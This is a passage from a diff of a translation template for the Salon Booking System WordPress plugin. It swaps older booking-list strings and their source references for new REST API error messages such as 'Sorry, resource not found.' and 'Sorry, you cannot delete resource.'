System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1079\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:240\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:261\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:248\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:277\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:374\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:395\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:556\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:578\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:608\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:392\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:409\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:434\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1090\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1109\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1178\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1191\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:225\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:238\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:259\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:246\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:267\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:296\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:328\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:349\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:374\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:497\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:519\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:549\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:607\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:689\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:725\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:235\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:253\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:281\n+msgid \"Sorry, resource not found.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:638, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:638, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:638, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:623, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:623, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:638\n-msgid \"Search Bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:634\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:650\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:634\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:650\n+msgid \"Sorry, upload error.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:639, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:639, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:639, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:624, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:624, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:639\n-msgid \"No bookings found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FPlugin.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:143\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FPlugin.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:143\n+msgid \"Sorry, you access token incorrect.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:640, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:640, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:640, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:625, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:625, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:640\n-msgid \"No bookings found in trash\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:38\n+msgid \"Sorry, you are not allowed to reschedule this booking.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:641, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:641, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:641, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:626, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:626, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:641\n-msgid \"Booking Archive\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:74\n+msgid \"Sorry, you are not authorized to access the API.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:856, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:856, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:856, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:841, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:841, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:856\n-msgid \"All Statuses\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:544\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:544\n+msgid \"Sorry, you are not authorized to view this customer data.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:865, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:865, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:865, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:850, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:850, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:865\n-msgid \"All users name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:214\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:252\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:214\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:252\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:183\n+msgid \"Sorry, you cannot create resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:873, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:873, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:873, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:858, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:858, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:873\n-msgid \"All services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:241\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:270\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:201\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:241\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:270\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:201\n+msgid \"Sorry, you cannot delete resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:881, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:881, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:881, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:866, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:866, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:881\n-msgid \"All attendants\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:173\n+msgid \"Sorry, you cannot list resources.\"\n msgstr \"\"\n \n-#: 